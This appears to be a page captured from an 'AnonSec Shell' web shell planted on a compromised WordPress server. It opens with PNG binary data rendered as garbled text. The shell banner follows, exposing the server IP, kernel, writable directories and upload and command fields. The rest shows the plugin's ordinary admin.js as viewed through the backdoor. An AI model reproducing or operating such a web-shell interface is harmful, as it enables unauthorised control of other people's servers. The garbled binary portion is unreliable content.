‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/menu-icons/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/menu-icons/js/admin.js
/******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};
/******/
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/
/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId]) {
/******/ 			return installedModules[moduleId].exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			i: moduleId,
/******/ 			l: false,
/******/ 			exports: {}
/******/ 		};
/******/
/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ 		// Flag the module as loaded
/******/ 		module.l = true;
/******/
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/
/******/
/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;
/******/
/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;
/******/
/******/ 	// identity function for calling harmony imports with the correct context
/******/ 	__webpack_require__.i = function(value) { return value; };
/******/
/******/ 	// define getter function for harmony exports
/******/ 	__webpack_require__.d = function(exports, name, getter) {
/******/ 		if(!__webpack_require__.o(exports, name)) {
/******/ 			Object.defineProperty(exports, name, {
/******/ 				configurable: false,
/******/ 				enumerable: true,
/******/ 				get: getter
/******/ 			});
/******/ 		}
/******/ 	};
/******/
/******/ 	// getDefaultExport function for compatibility with non-harmony modules
/******/ 	__webpack_require__.n = function(module) {
/******/ 		var getter = module && module.__esModule ?
/******/ 			function getDefault() { return module['default']; } :
/******/ 			function getModuleExports() { return module; };
/******/ 		__webpack_require__.d(getter, 'a', getter);
/******/ 		return getter;
/******/ 	};
/******/
/******/ 	// Object.prototype.hasOwnProperty.call
/******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = "";
/******/
/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(__webpack_require__.s = 2);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports, __webpack_require__) {

/* global menuIcons:false */
__webpack_require__(3);

(function ($) {
  var miPicker;

  if (!menuIcons.activeTypes || _.isEmpty(menuIcons.activeTypes)) {
    return;
  }
  /**
   * @namespace
   * @property {object} templates - Cached templates for the item previews on the fields
   * @property {string} wrapClass - Field wrapper's class
   * @property {object} frame     - Menu Icons' media frame instance
   * @property {object} target    - Frame's target model
   */


  miPicker = {
    templates: {},
    wrapClass: 'div.menu-icons-wrap',
    frame: null,
    target: new wp.media.model.IconPickerTarget(),

    /**
     * Callback function to filter active icon types
     *
     * TODO: Maybe move to frame view?
     *
     * @param {string} type - Icon type.
     */
    typesFilter: function (type) {
      return $.inArray(type.id, menuIcons.activeTypes) >= 0;
    },

    /**
     * Create Menu Icons' media frame
     */
    createFrame: function () {
      miPicker.frame = new wp.media.view.MediaFrame.MenuIcons({
        target: miPicker.target,
        ipTypes: _.filter(iconPicker.types, miPicker.typesFilter),
        SidebarView: wp.media.view.MenuIconsSidebar
      });
    },

    /**
     * Pick icon for a menu item and open the frame
     *
     * @param {object} model - Menu item model.
     */
    pickIcon: function (model) {
      miPicker.frame.target.set(model, {
        silent: true
      });
      miPicker.frame.open();
    },

    /**
     * Set or unset icon
     *
     * @param {object} e - jQuery click event.
     */
    setUnset: function (e) {
      var $el = $(e.currentTarget),
          $clicked = $(e.target);
      e.preventDefault();

      if ($clicked.hasClass('_select') || $clicked.hasClass('_icon')) {
        miPicker.setIcon($el);
      } else if ($clicked.hasClass('_remove')) {
        miPicker.unsetIcon($el);
      }
    },

    /**
     * Set Icon
     *
     * @param {object} $el - jQuery object.
     */
    setIcon: function ($el) {
      var id = $el.data('id'),
          frame = miPicker.frame,
          items = frame.menuItems,
          model = items.get(id);

      if (model) {
        miPicker.pickIcon(model.toJSON());
        return;
      }

      model = {
        id: id,
        $el: $el,
        $title: $('#edit-menu-item-title-' + id),
        $inputs: {}
      }; // Collect menu item's settings fields and use them
      // as the model's attributes.

      $el.find('div._settings input').each(function () {
        var $input = $(this),
            key = $input.attr('class').replace('_mi-', ''),
            value = $input.val();

        if (!value) {
          if (_.has(menuIcons.menuSettings, key)) {
            value = menuIcons.menuSettings[key];
          } else if (_.has(menuIcons.settingsFields, key)) {
            value = menuIcons.settingsFields[key]['default'];
          }
        }

        model[key] = value;
        model.$inputs[key] = $input;
      });
      items.add(model);
      miPicker.pickIcon(model);
    },

    /**
     * Unset icon
     *
     * @param {object} $el - jQuery object.
     */
    unsetIcon: function ($el) {
      var id = $el.data('id');
      $el.find('div._settings input').val('');
      $el.trigger('mi:update');
      miPicker.frame.menuItems.remove(id);
    },

    /**
     * Update valeus of menu item's setting fields
     *
     * When the type and icon is set, this will (re)generate the icon
     * preview on the menu item field.
     *
     * @param {object} e - jQuery event.
     */
    updateField: function (e) {
      var $el = $(e.currentTarget),
          $set = $el.find('a._select'),
          $unset = $el.find('a._remove'),
          type = $el.find('input._mi-type').val(),
          icon = $el.find('input._mi-icon').val(),
          url = $el.find('input._mi-url').val(),
          template;

      if (type === '' || icon === '' || _.indexOf(menuIcons.activeTypes, type) < 0) {
        $set.text(menuIcons.text.select).attr('title', '');
        $unset.addClass('hidden');
        return;
      }

      if (miPicker.templates[type]) {
        template = miPicker.templates[type];
      } else {
        template = miPicker.templates[type] = wp.template('menu-icons-item-field-preview-' + iconPicker.types[type].templateId);
      }

      $unset.removeClass('hidden');
      $set.attr('title', menuIcons.text.change);
      $set.html(template({
        type: type,
        icon: icon,
        url: url
      }));
    },

    /**
     * Initialize picker functionality
     *
     * #fires mi:update
     */
    init: function () {
      miPicker.createFrame();
      $(document).on('click', miPicker.wrapClass, miPicker.setUnset).on('mi:update', miPicker.wrapClass, miPicker.updateField); // Trigger 'mi:update' event to generate the icons on the item fields.

      $(miPicker.wrapClass).trigger('mi:update');
    }
  };
  miPicker.init();
})(jQuery);

/***/ }),
/* 1 */
/***/ (function(module, exports) {

(function ($) {
  /**
   * Settings box tabs
   *
   * We can't use core's tabs script here because it will clear the
   * checkboxes upon tab switching
   */
  $('#menu-icons-settings-tabs').on('click', 'a.mi-settings-nav-tab', function (e) {
    var $el = $(this).blur(),
        $target = $('#' + $el.data('type'));
    e.preventDefault();
    e.stopPropagation();
    $el.parent().addClass('tabs').siblings().removeClass('tabs');
    $target.removeClass('tabs-panel-inactive').addClass('tabs-panel-active').show().siblings('div.tabs-panel').hide().addClass('tabs-panel-inactive').removeClass('tabs-panel-active');
  }).find('a.mi-settings-nav-tab').first().click(); // Settings meta box

  $('#menu-icons-settings-save').on('click', function (e) {
    var $button = $(this).prop('disabled', true),
        $spinner = $button.siblings('span.spinner');
    e.preventDefault();
    e.stopPropagation();
    $spinner.css({
      display: 'inline-block',
      visibility: 'visible'
    });
    $.ajax({
      type: 'POST',
      url: window.menuIcons.ajaxUrls.update,
      data: $('#menu-icons-settings :input').serialize(),
      success: function (response) {
        if (response.success && response.data.redirectUrl === true) {
          window.location = response.data.redirectUrl;
        } else {
          $button.prop('disabled', false);
        }

        $spinner.hide();
      },
      fail: function () {
        $spinner.hide();
      }
    });
  });
})(jQuery);

/***/ }),
/* 2 */
/***/ (function(module, exports, __webpack_require__) {

__webpack_require__(1);

__webpack_require__(0);

/***/ }),
/* 3 */
/***/ (function(module, exports, __webpack_require__) {

wp.media.model.MenuIconsItemSettingField = __webpack_require__(4);
wp.media.model.MenuIconsItemSettings = __webpack_require__(5);
wp.media.model.MenuIconsItem = __webpack_require__(6);
wp.media.view.MenuIconsItemSettingField = __webpack_require__(9);
wp.media.view.MenuIconsItemSettings = __webpack_require__(10);
wp.media.view.MenuIconsItemPreview = __webpack_require__(8);
wp.media.view.MenuIconsSidebar = __webpack_require__(11);
wp.media.view.MediaFrame.MenuIcons = __webpack_require__(7);

/***/ }),
/* 4 */
/***/ (function(module, exports) {

/**
 * wp.media.model.MenuIconsItemSettingField
 *
 * @class
 * @augments Backbone.Model
 */
var MenuIconsItemSettingField = Backbone.Model.extend({
  defaults: {
    id: '',
    label: '',
    value: '',
    type: 'text'
  }
});
module.exports = MenuIconsItemSettingField;

/***/ }),
/* 5 */
/***/ (function(module, exports) {

/**
 * wp.media.model.MenuIconsItemSettings
 *
 * @class
 * @augments Backbone.Collection
 */
var MenuIconsItemSettings = Backbone.Collection.extend({
  model: wp.media.model.MenuIconsItemSettingField
});
module.exports = MenuIconsItemSettings;

/***/ }),
/* 6 */
/***/ (function(module, exports) {

/**
 * wp.media.model.MenuIconsItem
 *
 * @class
 * @augments Backbone.Model
 */
var Item = Backbone.Model.extend({
  initialize: function () {
    this.on('change', this.updateValues, this);
  },

  /**
   * Update the values of menu item's settings fields
   *
   * #fires mi:update
   */
  updateValues: function () {
    _.each(this.get('$inputs'), function ($input, key) {
      $input.val(this.get(key));
    }, this); // Trigger the 'mi:update' event to regenerate the icon on the field.


    this.get('$el').trigger('mi:update');
  }
});
module.exports = Item;

/***/ }),
/* 7 */
/***/ (function(module, exports) {

/**
 * wp.media.view.MediaFrame.MenuIcons
 *
 * @class
 * @augments wp.media.view.MediaFrame.IconPicker
 * @augments wp.media.view.MediaFrame.Select
 * @augments wp.media.view.MediaFrame
 * @augments wp.media.view.Frame
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var MenuIcons = wp.media.view.MediaFrame.IconPicker.extend({
  initialize: function () {
    this.menuItems = new Backbone.Collection([], {
      model: wp.media.model.MenuIconsItem
    });
    wp.media.view.MediaFrame.IconPicker.prototype.initialize.apply(this, arguments);

    if (this.setMenuTabPanelAriaAttributes) {
      this.off('open', this.setMenuTabPanelAriaAttributes, this); // Set the router ARIA tab panel attributes when the modal opens.

      this.off('open', this.setRouterTabPanelAriaAttributes, this); // Update the menu ARIA tab panel attributes when the content updates.

      this.off('content:render', this.setMenuTabPanelAriaAttributes, this); // Update the router ARIA tab panel attributes when the content updates.

      this.off('content:render', this.setRouterTabPanelAriaAttributes, this);
    }

    this.listenTo(this.target, 'change', this.miUpdateItemProps);
    this.on('select', this.miClearTarget, this);
  },
  miUpdateItemProps: function (props) {
    var model = this.menuItems.get(props.id);
    model.set(props.changed);
  },
  miClearTarget: function () {
    this.target.clear({
      silent: true
    });
  }
});
module.exports = MenuIcons;

/***/ }),
/* 8 */
/***/ (function(module, exports) {

/**
 * wp.media.view.MenuIconsItemPreview
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var MenuIconsItemPreview = wp.media.View.extend({
  tagName: 'p',
  className: 'mi-preview menu-item attachment-info',
  events: {
    'click a': 'preventDefault'
  },
  initialize: function () {
    wp.media.View.prototype.initialize.apply(this, arguments);
    this.model.on('change', this.render, this);
  },
  render: function () {
    var frame = this.controller,
        state = frame.state(),
        selected = state.get('selection').single(),
        props = this.model.toJSON(),
        data = _.extend(props, {
      type: state.id,
      icon: selected.id,
      title: this.model.get('$title').val(),
      url: state.ipGetIconUrl(selected, props.image_size)
    }),
        template = 'menu-icons-item-sidebar-preview-' + iconPicker.types[state.id].templateId + '-';

    if (data.hide_label) {
      template += 'hide_label';
    } else {
      template += data.position;
    }

    this.template = wp.media.template(template);
    this.$el.html(this.template(data));
    return this;
  },
  preventDefault: function (e) {
    e.preventDefault();
  }
});
module.exports = MenuIconsItemPreview;

/***/ }),
/* 9 */
/***/ (function(module, exports) {

var $ = jQuery,
    MenuIconsItemSettingField;
/**
 * wp.media.view.MenuIconsItemSettingField
 *
 * @class
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */

MenuIconsItemSettingField = wp.media.View.extend({
  tagName: 'label',
  className: 'setting',
  events: {
    'change :input': '_update'
  },
  initialize: function () {
    wp.media.View.prototype.initialize.apply(this, arguments);
    this.template = wp.media.template('menu-icons-settings-field-' + this.model.get('type'));
    this.model.on('change', this.render, this);
  },
  prepare: function () {
    return this.model.toJSON();
  },
  _update: function (e) {
    var value = $(e.currentTarget).val();
    this.model.set('value', value);
    this.options.item.set(this.model.id, value);
  }
});
module.exports = MenuIconsItemSettingField;

/***/ }),
/* 10 */
/***/ (function(module, exports) {

/**
 * wp.media.view.MenuIconsItemSettings
 *
 * @class
 * @augments wp.media.view.PriorityList
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var MenuIconsItemSettings = wp.media.view.PriorityList.extend({
  className: 'mi-settings attachment-info',
  prepare: function () {
    _.each(this.collection.map(this.createField, this), function (view) {
      this.set(view.model.id, view);
    }, this);
  },
  createField: function (model) {
    var field = new wp.media.view.MenuIconsItemSettingField({
      item: this.model,
      model: model,
      collection: this.collection
    });
    return field;
  }
});
module.exports = MenuIconsItemSettings;

/***/ }),
/* 11 */
/***/ (function(module, exports) {

/**
 * wp.media.view.MenuIconsSidebar
 *
 * @class
 * @augments wp.media.view.IconPickerSidebar
 * @augments wp.media.view.Sidebar
 * @augments wp.media.view.PriorityList
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
var MenuIconsSidebar = wp.media.view.IconPickerSidebar.extend({
  initialize: function () {
    var title = new wp.media.View({
      tagName: 'h3',
      priority: -10
    });
    var info = new wp.media.View({
      tagName: 'p',
      className: '_info',
      priority: 1000
    });
    wp.media.view.IconPickerSidebar.prototype.initialize.apply(this, arguments);
    title.$el.text(window.menuIcons.text.preview);
    this.set('title', title);
    info.$el.html(window.menuIcons.text.settingsInfo);
    this.set('info', info);
  },
  createSingle: function () {
    this.createPreview();
    this.createSettings();
  },
  disposeSingle: function () {
    this.unset('preview');
    this.unset('settings');
  },
  createPreview: function () {
    var self = this,
        frame = self.controller,
        state = frame.state(); // If the selected icon is still being downloaded (image or svg type),
    // wait for it to complete before creating the preview.

    if (state.dfd && state.dfd.state() === 'pending') {
      state.dfd.done(function () {
        self.createPreview();
      });
      return;
    }

    self.set('preview', new wp.media.view.MenuIconsItemPreview({
      controller: frame,
      model: frame.target,
      priority: 80
    }));
  },
  createSettings: function () {
    var frame = this.controller,
        state = frame.state(),
        fieldIds = state.get('data').settingsFields,
        fields = [];

    _.each(fieldIds, function (fieldId) {
      var field = window.menuIcons.settingsFields[fieldId],
          model;

      if (!field) {
        return;
      }

      model = _.defaults({
        value: frame.target.get(fieldId) || field['default']
      }, field);
      fields.push(model);
    });

    if (!fields.length) {
      return;
    }

    this.set('settings', new wp.media.view.MenuIconsItemSettings({
      controller: this.controller,
      collection: new wp.media.model.MenuIconsItemSettings(fields),
      model: frame.target,
      type: this.options.type,
      priority: 120
    }));
  }
});
module.exports = MenuIconsSidebar;

/***/ })
/******/ ]);

Anon7 - 2022
AnonSec Team